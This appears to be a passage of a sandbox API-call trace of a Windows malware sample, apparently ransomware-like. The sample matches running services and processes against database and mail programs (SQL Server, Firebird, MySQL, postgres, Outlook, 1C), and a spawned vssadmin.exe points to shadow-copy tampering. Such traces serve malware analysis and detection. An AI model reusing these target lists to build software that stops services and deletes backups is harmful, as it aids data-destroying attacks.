lpString2="netprofm") returned -1 [0187.149] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0187.149] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0187.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0187.150] lstrlenW (lpString="NlaSvc") returned 6 [0187.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0187.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0187.150] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0187.150] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0187.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0187.150] lstrlenW (lpString="nsi") returned 3 [0187.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0187.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0187.150] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0187.150] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0187.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0187.150] lstrlenW (lpString="PcaSvc") returned 6 [0187.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0187.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0187.150] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0187.150] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0187.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0187.150] lstrlenW (lpString="PlugPlay") returned 8 [0187.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0187.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0187.150] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0187.150] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0187.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0187.150] lstrlenW (lpString="Power") returned 5 [0187.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0187.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0187.150] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0187.150] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0187.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0187.150] lstrlenW (lpString="ProfSvc") returned 7 [0187.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0187.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0187.151] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0187.151] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0187.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0187.151] lstrlenW (lpString="RpcEptMapper") returned 12 [0187.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0187.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0187.151] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0187.151] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0187.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0187.151] lstrlenW (lpString="RpcSs") returned 5 [0187.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0187.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0187.151] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0187.151] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0187.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0187.151] lstrlenW (lpString="SamSs") returned 5 [0187.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0187.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0187.151] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0187.151] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0187.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0187.151] lstrlenW (lpString="Schedule") returned 8 [0187.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0187.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0187.151] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0187.151] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0187.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0187.151] lstrlenW (lpString="SENS") returned 4 [0187.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0187.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0187.152] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0187.152] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0187.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0187.152] lstrlenW (lpString="ShellHWDetection") returned 16 [0187.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0187.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0187.152] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0187.152] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0187.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0187.152] lstrlenW (lpString="Spooler") returned 7 [0187.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0187.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0187.152] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0187.152] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0187.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0187.152] lstrlenW (lpString="SysMain") returned 7 [0187.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0187.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0187.152] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0187.152] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0187.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0187.152] lstrlenW (lpString="Themes") returned 6 [0187.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0187.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0187.152] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0187.152] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0187.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0187.152] lstrlenW (lpString="TrkWks") returned 6 [0187.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0187.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0187.152] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0187.153] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0187.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0187.153] lstrlenW (lpString="UxSms") returned 5 [0187.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0187.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0187.153] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0187.153] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0187.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0187.153] lstrlenW (lpString="WdiServiceHost") returned 14 [0187.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0187.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0187.153] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0187.153] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0187.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0187.153] lstrlenW (lpString="WdiSystemHost") returned 13 [0187.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0187.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0187.153] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0187.153] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0187.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0187.153] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0187.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0187.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0187.153] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0187.153] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0187.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0187.153] lstrlenW (lpString="Winmgmt") returned 7 [0187.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0187.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0187.154] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0187.154] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0187.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0187.154] lstrlenW (lpString="WPDBusEnum") returned 10 [0187.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0187.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0187.154] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0187.154] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0187.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0187.154] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b5c80 | out: hHeap=0x5c0000) returned 1 [0187.154] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f0 [0187.156] Process32FirstW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.156] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0187.157] lstrlenW (lpString="System") returned 6 [0187.157] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0187.157] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0187.157] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0187.157] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0187.157] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0187.157] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0187.157] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0187.157] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0187.157] lstrlenW (lpString="smss.exe") returned 8 [0187.157] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0187.157] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0187.157] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0187.158] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0187.158] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0187.158] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0187.158] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0187.158] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0187.158] lstrlenW (lpString="csrss.exe") returned 9 [0187.158] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0187.158] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0187.158] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0187.158] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0187.158] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0187.158] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0187.158] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0187.158] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0187.159] lstrlenW (lpString="wininit.exe") returned 11 [0187.159] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0187.159] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0187.159] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0187.159] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0187.159] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0187.159] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0187.159] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0187.159] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0187.159] lstrlenW (lpString="csrss.exe") returned 9 [0187.159] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0187.159] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0187.159] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0187.159] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0187.159] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0187.160] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0187.160] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0187.160] lstrlenW (lpString="winlogon.exe") returned 12 [0187.160] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0187.160] lstrlenW (lpString="services.exe") returned 12 [0187.161] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0187.161] lstrlenW (lpString="lsass.exe") returned 9 [0187.161] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0187.161] lstrlenW (lpString="lsm.exe") returned 7 [0187.161] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.162] lstrlenW (lpString="svchost.exe") returned 11 [0187.162] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.162] lstrlenW (lpString="svchost.exe") returned 11 [0187.162] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.163] lstrlenW (lpString="svchost.exe") returned 11 [0187.163] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.163] lstrlenW (lpString="svchost.exe") returned 11 [0187.163] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.163] lstrlenW (lpString="svchost.exe") returned 11 [0187.163] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0187.164] lstrlenW (lpString="audiodg.exe") returned 11 [0187.164] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.164] lstrlenW (lpString="svchost.exe") returned 11 [0187.164] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0187.164] lstrlenW (lpString="explorer.exe") returned 12 [0187.165] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0187.165] lstrlenW (lpString="dwm.exe") returned 7 [0187.165] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.165] lstrlenW (lpString="svchost.exe") returned 11 [0187.165] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0187.166] lstrlenW (lpString="n.exe") returned 5 [0187.166] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0187.166] lstrlenW (lpString="spoolsv.exe") returned 11 [0187.166] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.166] lstrlenW (lpString="svchost.exe") returned 11 [0187.167] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0187.167] lstrlenW (lpString="taskhost.exe") returned 12 [0187.167] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0187.167] lstrlenW (lpString="reader_sl.exe") returned 13 [0187.167] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0187.167] lstrlenW (lpString="n.exe") returned 5 [0187.168] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0187.168] lstrlenW (lpString="cmd.exe") returned 7 [0187.168] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0187.168] lstrlenW (lpString="conhost.exe") returned 11 [0187.168] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0187.169] lstrlenW (lpString="vssadmin.exe") returned 12 [0187.169] Process32NextW (in: hSnapshot=0x1f0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0187.169] CloseHandle (hObject=0x1f0) returned 1 [0187.169] Sleep (dwMilliseconds=0x1f4) [0187.902] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x633dc8 [0187.902] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0187.903] GetLastError () returned 0xea [0187.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x123e) returned 0x6b5c80 [0187.903] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6b5c80, cbBufSize=0x123e, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6b5c80, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0187.903] CloseServiceHandle (hSCObject=0x633dc8) returned 1 [0187.904] lstrlenW (lpString="Appinfo") returned 7 [0187.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0187.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0187.904] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0187.904] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0187.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0187.904] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0187.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0187.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0187.904] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 